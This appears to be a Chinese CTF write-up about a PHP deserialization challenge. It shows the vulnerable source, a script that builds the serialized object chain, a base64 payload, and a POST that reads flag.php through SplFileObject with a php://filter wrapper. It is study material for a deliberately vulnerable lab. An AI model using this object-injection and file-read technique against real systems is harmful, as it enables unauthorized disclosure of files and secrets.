web日刷

一道题学习php原生类

反方向的钟

 <?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

一道php反序列化题

代码审计：

目标是读取flag.php文件，要找到可以执行函数读取的地方，看完下来只有new $_POST['a']($_POST['b'])，先构造school类，触发wakeup，然后判断真假，然后跳转到IPO()函数。

<?php 

/**
 *
 */
class teacher
{
    
    public $name="ing";
    public $rank="department";
}

class classroom {
    public $name='one class';
    public $leader;
}
class school{
    public $headmaster="ong";
    public $department;
}

$d=new school();
$d -> department = new classroom();
$d -> department ->leader = new teacher();

echo base64_encode(serialize($d));
?>

payload：

?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjtzOjEwOiJkZXBhcnRtZW50IjtPOjk6ImNsYXNzcm9vbSI6Mjp7czo0OiJuYW1lIjtzOjk6Im9uZSBjbGFzcyI7czo2OiJsZWFkZXIiO086NzoidGVhY2hlciI6Mjp7czo0OiJuYW1lIjtzOjM6ImluZyI7czo0OiJyYW5rIjtzOjEwOiJkZXBhcnRtZW50Ijt9fX0=

之前学过的new只是用来实例化对象的，查了查PHP 原生类在 CTF 中的利用-安全客 - 安全资讯平台 (anquanke.com)PHP 原生类在 CTF 中的利用-安全客 - 安全资讯平台 (anquanke.com)

SplFileObject 类可以结合伪协议用来读取文件，PHP原生类及其利用_php 原生类利用_Elitewa的博客-CSDN博客

//post
a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

base64解码得到flag